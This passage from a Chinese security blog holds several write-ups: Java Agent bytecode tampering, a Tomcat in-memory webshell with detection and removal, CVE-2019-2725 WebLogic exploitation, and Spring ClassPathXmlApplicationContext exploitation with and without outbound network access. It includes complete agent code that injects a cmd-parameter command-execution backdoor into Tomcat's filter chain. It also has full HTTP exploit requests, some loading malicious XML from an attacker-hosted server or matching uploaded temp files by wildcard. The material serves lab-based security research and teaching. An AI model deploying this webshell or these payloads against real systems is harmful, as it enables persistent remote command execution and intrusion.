        while (true){
            fox.say();
            Thread.sleep(1000);
        }
    }
}

好了，写完这些代码就不要再去改动这个项目了。这个项目用于演示一个被Agent修改的普通应用。

Premain

premian代理的加载方式是在程序启动时加入参数。

java -javaagent:xxx.jar app.jar

其中的xxx.jar就是我们接下来构造的包。

1.新建一个maven项目。

2.改一下maven打包设置，配置如下：



    4.0.0

    org.example
    agent-premain
    1.0-SNAPSHOT

    
        11
        11
        UTF-8
    
    
        
            
                org.apache.maven.plugins
                maven-assembly-plugin
                
                    
                        
                            jar-with-dependencies
                        
                    
                    
                        
                            
                                AgentMainTest
                            
                            
                                PremainTest
                            
                            
                                true
                            
                            
                                true
                            

                        
                    
                
                
                    
                        
                            make-assembly
                        
                        package
                        single

配置的作用是让jar打包时添加以下信息到jar包中的MANIFEST.MF文件中。

创建一个Premain类型的Agent时，需要在MANIFEST.MF中指定Premain-Class属性JVM才能在启动时加载指定代理类。

而创建一个Agentmain类型的Agent时，需要在MANIFEST中指定Agent-Class属性，JVM才能在运行时加载指定代理类。

Can-Redefine-Classes: true表示允许Java Agent新定义已经加载的类。

Can-Retransform-Classes: true表表示允许Java Agent重新转换已经加载的类。

现在来创建Premain Class，要注意，类的名字和在MANIFEST.MF中指定的Premain-Class属性值要一致。

import java.lang.instrument.Instrumentation;

public class PremainTest {
    public static void premain(String[] agentArgs, Instrumentation inst) {
        inst.addTransformer(new MyTransformer());
        System.out.println("Hello world!");
    }
}

public static void premain(String[] agentArgs, Instrumentation inst)是一个特殊的静态方法，被称为代理主方法(agent main method)。它由JVM调用，允许代理(agent)在目标应用程序启动之前执行初始化操作。

Strig agentArgs：传递给代理的参数字符串。

Instrumentation inst：提供了一组API来检查、修改甚至替换应用程序中的类。

MyTransformer是一个实现ClassFileTransformer的类，在类中负责具体的类转换工作。

import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
   @Override
   public  byte[] transform(ClassLoader loader, String classname, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
       if (classname.equals("org/example/Fox")){
           return  read("Fox.class");
       }
       return ClassFileTransformer.super.transform(loader, classname,classBeingRedefined,protectionDomain,classfileBuffer);
   }
   public  static  byte[] read(String path){
       try {
           FileInputStream in = new FileInputStream(path);
           //当文件没有结束时，每次读取一个字节显示
           byte[] data= new byte[in.available()];
           in.read(data);
           in.close();
           return data;
       } catch (Exception e){
           e.printStackTrace();
           return null;
       }
   }
}

关于此接口类方法的参数：

ClassLoader loader:加载类的类加载器。

String classname:类的全限定名（例如，com/example/MyClass）。

Class classBeingRedefined：如果是在重新定义类，则为该类的对象；否则为null。

ProtectionDomain protectionDomain：类的保护域。

byte[] classfileBuffer：类的原始字节码数组。

返回一个新的字节码数组，用于替换原始字节码；如果不需要修改字节码，则返回null。

每当jvm需要加载一个类时，都会调用这个方法。这包括初始加载、重新定义和重新转换。

这个方法的作用是：如果检测到加载的是Fox类，则替换成编译好的另一个Fox.class文件的内容。

Fox.class是由修改后的Fox.java编译得来，与原版的不同在于换了一种叫法。

将以下代码放在Agent项目中，然后使用mvn compile命令编译。

package org.example;

public class Fox {
    public  void say(){
        System.out.println("大楚兴");
    }
}

编译好后在这个目录下。

将这个文件的路径填入到MyTransformer::transform中的return read()里面。

然后将项目编译成jar，复制jar绝对路径。

回到原来的第一个项目，先运行下项目，让其生成target文件夹。

生成后进入文件夹target/classes目录，打开cmd，运行指令：

java -javaagent:E:\开发项目\javasec2\agent\agent-premain\target\agent-premain-1.0-SNAPSHOT-jar-with-dependencies.jar org.example.Main

Fox.class成功被篡改。

Agentmain

Agentmain代理的加载方式是附加到正在运行的Java进程上。前面说到，创建一个Agentmain类型的Agent时，需要在MANIFEST中指定Agent-Class属性，则我们创建一个跟Agent-Class属性值同名的Java文件。

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new MyTransformer(), true);
        for (Class clazz : inst.getAllLoadedClasses()){
            if (clazz.getName().equals("org.example.Fox")){
                try {
                    inst.retransformClasses(clazz);
                } catch (UnmodifiableClassException e) {
                    throw new RuntimeException(e);
                }

            }
        }
    }

}

inst.addTransformer(new MyTransformer(), true)中的第二个参数true表示该转换器可以重新转换已经加载过的类。

与之前Premain的逻辑不同的是，如果找到名为org.example.Fox的类，则调用retransformClasses重新转换一下这个类。因为程序已经运行起来了，说明这个Fox类已经被加载过了。之前的Premain Agent是在程序启动时加载的，所以不用这一步，剩下的MyTransformer接口中的逻辑保持和之前一致。

那么这个代理附加到正在运行的java项目进程上？首先，先把要修改的目标项目运行起来。

将刚修改的项目编译打包出jar包。通过命令mvn clean package编译。

使用jqs找到要注入的进程。

可以看到org.example.Main的进程号为49808。

使用jcmd附加代理到进程上。

看原来运行的程序，已经更改输出，达到运行时修改class的效果。

如果没有jcmd这个工具，或者不能执行命令，还有没有办法将这个Jar包附加到这个进程上呢？

现将正在运行的程序停掉，在这个项目中添加main类。

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        VirtualMachine vm = VirtualMachine.attach("123");
        vm.loadAgent("E:\\开发项目\\javasec2\\agent\\agent-premain\\target\\agent-premain-1.0-SNAPSHOT-jar-with-dependencies.jar");
        System.out.println("Hello world!");
    }
}

老样子先获取进程。

将id修改成进程号，直接运行。

成功修改。

Javassist

提前写好class再替换还是不太灵活，有没有更灵活的方法呢，有的。

Javassist是一个用于操作java字节码的库类。它允许你在运行时定义新的类，或者修改现有的类。Javassist提供了一种简单的方式来处理Java字节码，使得开发者可以在不重新编译源代码的情况下，动态地改变程序的行为。

怎么用呢？添加依赖


    
        org.javassist
        javassist
        3.30.2-GA

修改MyTransformer代码，当 JVM 加载 org.example.Fox 类时，在该类的 say() 方法开头插入一行打印 "陈胜王" 的代码

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String classname,
                            Class classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {

        // 1. 只处理目标类 "org/example/Fox"（注意路径格式是 / 分隔）
        if (classname.equals("org/example/Fox")) {

            // 2. 初始化 Javassist 类池
            ClassPool pool = ClassPool.getDefault();
            pool.appendClassPath(new LoaderClassPath(loader)); // 添加当前 ClassLoader 的路径

            try {
                // 3. 从原始字节码构建 CtClass 对象
                CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));

                // 4. 获取目标方法 say()
                CtMethod say = cc.getDeclaredMethod("say");

                // 5. 在 say() 方法开头插入代码
                say.insertBefore("System.out.println(\"陈胜王\");");

                // 6. 返回修改后的字节码
                return cc.toBytecode();

            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }

        // 7. 对其他类不处理，返回 null 表示保持原样
        return null;
    }
}

打包jar

让fox跑起来。

还是jps -l查找进程号，并填入代码中。

运行成功，已经插入输出语句。

Agent内存马

Agent技术既然能在程序运行时动态修改类的字节码，那就非常适合做内存马，只要修改掉http请求处理过程中的一个类，那不就是在无webshell文件落地的情况下实现了，让目标程序受我们控制吗。

启动一个Tomcatweb服务，在一个Servlet上打上断点，然后访问Servlet，将看到以下调用过程：

在调用过程中存在一个ApplicationFilterChain类的doFilter方法，根据tomcat的请求传递过程，请求必定经过Filter链。只要项目中存在Filter，则ApplicationFilterChain类的doFilter方法必定被调用。

所以可以在请求的必经之路上设下条件：如果请求参数中包含cmd参数，则执行参数中的命令，否则就什么都不做。

String cmd = request.getParameter("cmd");
if (cmd != null) {
    try {
        Process proc = Runtime.getRuntime().exec(cmd);
        java.io.InputStream in = proc.getInputStream();
        java.io.BufferedReader br  = new java.io.BufferedReader(new java.io.InputStreamReader(in));
        response.setContentType("text/html");
        String line;
        java.io.PrintWriter out = response.getWriter();
        while ((line = br.readLine()) != null) {
            out.println(line);
            out.flush();
           out.close();
       }
        
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}

我们将这段代码插入正在运行的Tomcat进程中，这算是对Agent知识的一个小小的实践。

首先tomcat肯定运行起来了，所以要使用Agentmain的方式将agent jar包注入到Tomcat进程中。

首先先运行tomcat，查找tomcat的进程号。

53988 org.apache.catalina.startup.Bootstrap为tomcat进程。

不论进程号如何改变，对用的启动类名称固定为org.apache.catalina.startup.Bootstrap，现在编写出agent jar包，因为是Agentmain注入，所以不需要Premain-Class。



    4.0.0

    org.example
    agent-demo2
    1.0-SNAPSHOT

    
        11
        11
        UTF-8
    
    
        
            org.javassist
            javassist
            3.30.2-GA
        
    
    
        
            
                org.apache.maven.plugins
                maven-assembly-plugin
                3.6.0
                
                    
                        jar-with-dependencies
                    
                    
                        
                            test
                            AgentMainTest
                            true
                            true
                        
                    
                
                
                    
                        make-assembly
                        package
                        
                            single

接下来编写AgentMainTest.java,遍历所有已加载的类，对org.apache.catalina.core.ApplicationFilterChain类用自定义的MyTransformer类重新转换类字节码，在java目录新建这个文件。

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        // 确保 MANIFEST.MF 文件中配置了正确的 Agent-Class 属性
        // Agent-Class: AgentMainTest
        inst.addTransformer(new MyTransformer(), true);
        for (Class clazz : inst.getAllLoadedClasses()){
            if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
                try {
                    inst.retransformClasses(clazz);
                } catch (UnmodifiableClassException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }
}

MyTransformer实现类字节码的替换工作，在执行doFilter之前插入一段恶意代码，若存在cmd参数，则返回cmd参数运行结果。

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String classname,
                            Class classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {

        // 1. 只处理目标类 "org/apache/catalina/core/ApplicationFilterChain"（注意路径格式是 / 分隔）
        if (classname.equals("org/apache/catalina/core/ApplicationFilterChain")) {

            // 2. 初始化 Javassist 类池
            ClassPool pool = ClassPool.getDefault();
            pool.appendClassPath(new LoaderClassPath(loader)); // 添加当前 ClassLoader 的路径

            try {
                // 3. 从原始字节码构建 CtClass 对象
                CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));

                // 4. 获取目标方法 doFilter()
                CtMethod doFilter = cc.getDeclaredMethod("doFilter");

                // 5. 在 doFilter() 方法开头插入代码
                doFilter.insertBefore(
                        "String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "    try {\n" +
                        "        Process proc = Runtime.getRuntime().exec(cmd);\n" +
                        "        java.io.InputStream in = proc.getInputStream();\n" +
                        "        java.io.BufferedReader br  = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        response.setContentType(\"text/html\");\n" +
                        "        String line;\n" +
                        "        java.io.PrintWriter out = response.getWriter();\n" +
                        "        while ((line = br.readLine()) != null) {\n" +
                        "            out.println(line);\n" +
                        "            out.flush();\n" +
                        "            out.close();\n" +
                        "        }\n" +
                        "        \n" +
                        "    } catch (Exception e) {\n" +
                        "        throw new RuntimeException(e);\n" +
                        "    }\n" +
                        "        \n" +
                        "}");

                // 6. 返回修改后的字节码
                return cc.toBytecode();

            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }


        return ClassFileTransformer.super.transform(loader, classname, classBeingRedefined, protectionDomain, classfileBuffer);
    }
}

test.java是为了方便不用再命令行查找进程和不写jar路径，直接在代码中实现找jar包和进程号查询并且将查询到的值传入到test的main方法中，直接将jar注入到该进程中。

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.security.ProtectionDomain;

public class test {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        String pid = getPID("org.apache.catalina.startup.Bootstrap");
        if (pid == null){
            throw new RuntimeException("未找到目标进程");
        }
        String jar = getJar(test.class);
        VirtualMachine vm = VirtualMachine.attach(pid);

        System.out.println(jar);
        vm.loadAgent(jar);
    }
    public static String getJar(Class clazz) throws IOException {
        //获取类所在的jar包路径
        ProtectionDomain protectiondomain = clazz.getProtectionDomain();
        URL Location = protectiondomain.getCodeSource().getLocation();
        //获取jar包名称
        String path = Location.getPath();
        String decodedPath = URLDecoder.decode(path, StandardCharsets.UTF_8);
        if (System.getProperty("os.name").toLowerCase().contains("win")&&decodedPath.startsWith("/")) {
            return decodedPath.substring(1);
        }
        return null;
    }
    //执行jps -l，获取到目标进程的pid
    public static String getPID(String className) {
        try {
            Process process = Runtime.getRuntime().exec("jps -l");
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                if (line.contains(className)) {
                    return line.split(" ")[0];
                }
            }
        } catch (IOException e) {
            throw new RuntimeException("获取目标进程PID失败", e);
        }
        return null;
    }
}

打包代码，然后在命令行中运行jar，记得在此之前要运行tomcat。

直接访问http://localhost:8080/?cmd=whoami

正常访问。

检测与查杀

agent内存马的难点是在定位攻击者哪些字节码，通过javaassist等asm工具获取到类的字节码，也只是读取磁盘上响应类的字节码，而不是jvm中的字节码。

那如何将注入的字节码还原，接下来先检测定位，先前注入的类是org.apache.catalina.core.ApplicationFilterChain，那打开工具sa-jdi.jar检测定位，进入到java的lib目录下，我的是11，打开cmd，输入指令jhsdb hsdb回车。

点击file -> attach to hotspot proccess 输入tomcat的pid。

点击菜单栏的tools-class broswer查看当前jvm中已经加载并被java Instrumentation修改后的类，就可以开始溯源定位内存马是在那个类被植入的，之前注入的类是org.apache.catalina.core.ApplicationFilterChain，直接搜Chain

点进去找doFilter

查到关键恶意代码。

利用javaassist获取没被修改的字节码，然后在通过retransformClass对类进行重新定义即可复原。

编写还原代码：

BytecodeRestorer.java通过org.apache.catalina.core.ApplicationFilterChain获取原始字节码

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;

/**
 * 从原始Tomcat类库中获取干净的ApplicationFilterChain字节码
 */
public class BytecodeRestorer implements ClassFileTransformer {
    // Tomcat核心类全限定名
    private static final String TARGET_CLASS = "org.apache.catalina.core.ApplicationFilterChain";

    /**
     * 获取原始字节码
     */

    public byte[] transform(ClassLoader loader, String classname,
                            Class classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) {


            try {
                ClassPool pool = ClassPool.getDefault();
                // 加载目标类
                CtClass cc = pool.getCtClass(TARGET_CLASS);
                byte [] bytes = cc.toBytecode();
                cc.detach();
                // 生成纯净字节码
                System.out.println(Arrays.toString(cc.toBytecode()));
                return bytes;
            } catch (Exception e) {
                    throw new RuntimeException(e);
            }
    }
}

AgentMainTest.java获取jvm全部的加载类，直到找到ApplicationFilterChain就添加一个addTransformer，利用retransformClasses还原ApplicationFilterChain的定义。

// 导入 Java Instrumentation API 包
import java.lang.instrument.Instrumentation;

// 代理主测试类，用于动态修改已加载的类
public class AgentMainTest {
    // 静态变量，保存 Instrumentation 实例（用于类转换）
    private static Instrumentation instrumentation;

    // 静态变量，自定义的字节码转换器（用于恢复或修改类字节码）
    private static BytecodeRestorer transform = new BytecodeRestorer();

    /**
            * Java Agent 的入口方法（动态 attach 模式）
            * @param agentArgs 代理参数（可传入自定义参数）
            * @param inst Instrumentation 实例，提供类操作能力
 *          @throws Exception 可能抛出异常
     */
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
        instrumentation = inst;  // 保存 Instrumentation 实例
        Class[] classes = inst.getAllLoadedClasses();  // 获取 JVM 中所有已加载的类

        // 遍历所有已加载的类
        for (Class cls : classes) {
            // 检查类名是否为 "org.apache.catalina.core.ApplicationFilterChain"（Tomcat 的过滤器链类）
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
                // 添加字节码转换器（transform 负责实际的字节码修改）
                inst.addTransformer(transform, true);

                // 触发类重新转换（retransformClasses 会调用 transform 修改字节码）
                inst.retransformClasses(cls);

                // 移除转换器（避免影响其他类）
                inst.removeTransformer(transform);

                // 打印成功信息
                System.out.println("ApplicationFilterChain has been redefined successfully.");
            }
        }
    }
}

test.java照搬上面的，不用改，pom.xml的依赖也是。直接打包该项目。

开启tomcat，将之前的内存马注入进去，命令可以成功执行。

将刚刚生成的jar包运行。

可以看到页面中显示命令执行失败,已经成功覆盖，消除了内存马。

Java AgentNoFile等有时间分析了会补充上。

通过CVE-2019-2725对ClassPathXmlApplicationContext不出网的思考

GowNinng — Tue, 15 Apr 2025 06:52:17 GMT

前言

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。影响版本 ：weblogic 10.x weblogic 12.1.3。

环境搭建

使用Vulfocus平台进行复现，进入镜像管理，搜索漏洞镜像，下载镜像。

下载好以后启动镜像并访问。

漏洞复现

可以访问/_async/AsyncResponseService，则存在漏洞

/_async/AsyncResponseService?info查看网站路径。

找到路径后，可以直接使用payload构造数据包。其中执行一个命令为将whoami输出的结果写入到文件servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico中。

POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:29618
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: text/xml



xx
xx




/bin/bash


-c


whoami > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico

发送数据包，查看状态码，请求成功，看容器中是否写入该文件。

成功写入。

接下来用另一种方法，就是通过ClassPathXmlApplicationContext引用外部xml进行二次反序列化执行代码。先写一个恶意xml，代码如下：


  
    
      
        sh
        -c
         servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico]]>

同样也是将whoami输出的结果写入到文件servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico中，但是是通过xml构造恶意构造的 Spring Beans 配置文件。

在文件目录启动http服务，ipconfig当前主机ip，用当前机器ip访问。

构造payload，引用com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext，并填入要引用的xml地址。

POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:29618
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: text/xml

xxxx
com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext
http://10.30.1.88:8000/111.xml

请求数据包成功，xml也成功请求到。

成功执行命令。

不出网思考

ClassPathXmlApplicationContext在很多漏洞中都存在这个类的身影，但是ClassPathXmlApplicationContext不出网的话怎么利用？首先先看看ClassPathXmlApplicationContext类定义：

ClassPathXmlApplicationContext 是Spring框架中用于加载XML配置文件并初始化应用程序上下文的一个类。它是 ApplicationContext 接口的实现，负责实例化、配置和组装对象。这个类从类路径下读取配置文件，为Spring容器提供配置信息，并管理定义的bean。

ClassPathXmlApplicationContext可以从类路径加载XML配置，并管理其中的bean：

我们有一个Student类：

public class Student {
    private int no;
    private String name;

    // standard constructors, getters and setters
}

我们在classpathxmlapplicationcontext-example.xml中配置了一个Student bean，并将其添加到类路径中：

现在我们可以使用ClassPathXmlApplicationContext加载XML配置并获取Student bean：

@Test
public void testBasicUsage() {
    ApplicationContext context 
      = new ClassPathXmlApplicationContext(
        "classpathxmlapplicationcontext-example.xml");
    
    Student student = (Student) context.getBean("student");
    assertThat(student.getNo(), equalTo(15));
    assertThat(student.getName(), equalTo("Tom"));

    Student sameStudent = context.getBean("student", Student.class);
    assertThat(sameStudent.getNo(), equalTo(15));
    assertThat(sameStudent.getName(), equalTo("Tom"));
}

漏洞案例

先写一个带有漏洞的类，用来调用ClassPathXmlApplicationContext并启动：

package com.example.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.lang.reflect.Constructor;

@Controller
public class IndexController {
    @ResponseBody
    @RequestMapping("/index")
    public String index(String name, String arg) throws Exception {
        Class clazz = Class.forName(name);
        Constructor constructor = clazz.getConstructor(String.class);
        Object instance = constructor.newInstance(arg);
        return "done";
    }
}

访问/index，并抓包，传入ClassPathXmlApplicationContext类和远程xml文件：

数据包：

GET /index?arg=http://10.30.1.88:8000/222.xml&name=org.springframework.context.support.ClassPathXmlApplicationContext HTTP/1.1
Host: 127.0.0.1:8080
Sec-Fetch-Dest: document
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
Sec-Fetch-User: ?1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Accept-Language: zh-CN,zh;q=0.9

直接弹出计算器，成功执行命令。

上传缓存机制

这是在受害者主机可出网的情况下能够直接利用，如果是在不出网的情况下怎么利用该利用链呢?

首先，我们先了解下php和java的文件上传缓存机制：

PHP 上传缓存

缓存目录：/tmp（Linux）或 C:\Windows\Temp（Windows），文件名如 phpXXXXXX.tmp

缓存机制：

文件上传时，PHP 先将数据包存入临时文件，脚本处理后再移动或删除。若上传中断（如连接关闭、脚本超时），临时文件可能残留。

无接口上传缓存：

直接发送不完整的 HTTP 文件上传请求（如强制中断），PHP 仍会生成临时文件但无法清理，导致缓存残留。

Java 上传缓存

缓存目录：

Tomcat：$CATALINA_BASE/work/Catalina/localhost/upload_*

Spring：默认系统临时目录（如 /tmp）

缓存机制：

容器（如 Tomcat）或框架（如 Spring）先将上传数据写入临时文件，处理完成后删除。若请求未完成（如异常终止），文件可能残留。

无接口上传缓存：

发送不完整的 multipart/form-data 请求，容器仍会生成临时文件但未触发清理逻辑。

为何无上传接口仍有缓存文件？

协议层行为：

HTTP 文件上传（multipart/form-data）被服务器/容器解析时，无论是否存在处理接口，数据包会先写入临时文件。

中断残留：

上传未完成（如网络断开、请求被劫持）时，临时文件未被删除。

利用方式：

结合文件包含漏洞，执行残留的临时文件（如 PHP 的 /tmp/phpXXXXXX 或 Java 的 upload_*）。

实践

来实践一下java的文件上传缓存，将上面的数据包改成上传数据包，实际操作一下即使没有上传接口是否有文件缓存。

发送修改的数据包，打开Process Monitor，可以看到这个临时文件创建和销毁的过程，说明修改成上传数据包确实存在临时文件。

通配符

那知道了可以上传临时文件，那说明也可以引用该文件进行执行命令等操作，但是这个文件名名称是随机的，引用的时候并不知道文件名叫什么，但是没办法引用了吗？知识点来到了通配符这个地方：

ClassPathXmlApplicationContext 是 Spring 框架中的一个应用上下文实现，用于从类路径加载 XML 配置文件。当需要加载多个配置文件时，可以使用通配符来简化配置。

基本用法

1. 使用单个配置文件

ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");

2. 使用多个配置文件

ApplicationContext context = new ClassPathXmlApplicationContext(

    new String[] {"applicationContext.xml", "applicationContext-dao.xml"});

使用通配符

Spring 支持 Ant 风格的通配符模式来匹配多个配置文件：

基本通配符

ApplicationContext context = new ClassPathXmlApplicationContext("classpath*:config/*.xml");

这会加载类路径下所有 config 目录中的 .xml 文件。

多级目录通配符

ApplicationContext context = new ClassPathXmlApplicationContext("classpath*:com/example/**/*-context.xml");

这会加载 com/example 及其子目录下所有以 -context.xml 结尾的文件。

组合使用

ApplicationContext context = new ClassPathXmlApplicationContext(

    new String[] {"classpath*:config/*.xml", "classpath*:services/*-service.xml"});

通配符说明

* - 匹配任意数量的字符（不包括路径分隔符）

** - 匹配任意数量的字符，包括路径分隔符（用于匹配多级目录）

? - 匹配单个字符

classpath*: - 前缀表示搜索所有类路径位置（包括 JAR 文件）

classpath: - 前缀表示只搜索第一个匹配的类路径位置

漏洞实践

这里就不做代码分析，网上有ClassPathXmlApplicationContext 通配符的相关代码分析，就不断点一点一点看了，代码逻辑是判断请求的路径中有没有星号或者问号这些通配符标识，有的话就会遍历目录中根据通配符设定格式相匹配的所有文件，现在构造一个文件上传包，在请求体中加入恶意的xml代码：

POST /index?name=org.springframework.context.support.ClassPathXmlApplicationContext&arg=file://C:/Users/*/AppData/Local/Temp/tomcat.8080.4591636753791226070/**/*.tmp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQHqrX0rFhAxqYKCz
Content-Length: 141

------WebKitFormBoundaryQHqrX0rFhAxqYKCz
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain


		



cmd
/c
calc




------WebKitFormBoundaryQHqrX0rFhAxqYKCz--

java的URL本身就支持http/ftp/file等协议，那么可以加载本地文件，直接命令执行成功。

TOMCAT环境变量

那么又有一个问题来了，对于不同环境不同方式启动的Tomcat，缓存路径也各不相同，有没有什么办法能让payload适配所有环境？

CATALINA_HOME 是一个环境变量，用于指示 Tomcat 服务器的安装目录路径。设置这个变量的目的是为了方便使用和管理 Tomcat 服务器。

将ClassPathXmlApplicationContext断点后可以发现有环境变量的解析，传入环境变量catalina.home。

到这里会查询this.source中的所有环境变量，并取值。

最终获取到值。

最终实践

那我们可以直接通过传入环境变量来获取缓存文件路径，修改数据包，${catalina.home}中特殊字符要进行url编码:

POST /index?name=org.springframework.context.support.ClassPathXmlApplicationContext&arg=file://%24%7bcatalina.home%7d/**/*.tmp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8CrNfoP2K7OUA4na
Content-Length: 324

------WebKitFormBoundary8CrNfoP2K7OUA4na
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain


		



cmd
/c
calc




------WebKitFormBoundary8CrNfoP2K7OUA4na--

发送数据包请求，成功执行命令。

不出网利用成功。

禅道小范围版本通杀代码审计

GowNinng — Thu, 10 Apr 2025 01:18:20 GMT

前言

前段时间朋友打了一个站，发现资产包含禅道15.x版本，朋友说随后发给我了一份分析文章，但是并没有poc，所以着手代码审计一下。

一开始我基本上没看过禅道的源码，首先我看别人文章说的15-18有不同利用链的越权和rce，当前版本是15.0.rc2,rce估计都是在登录后才能操作功能点，所以先复现网上说的权限绕过漏洞。

漏洞复现

下载15.0.rc2源码，然后在本地打开，老样子，直接debug调试。首先在这个源码中，有部分方法可以在用户未登录的情况下进行调用，允许未授权调用的方法在isOpenMethod() 函数中，先全局搜索下isOpenMethod() 函数。

首先看到这个函数带有判断，未登录用户能访问xxx接口，登录用户且登录账户不为guest能访问xxx接口。那我们全局搜索下isLogon函数。

这个代码的意思是，返回当前登录session的用户并且用户名不为guest。

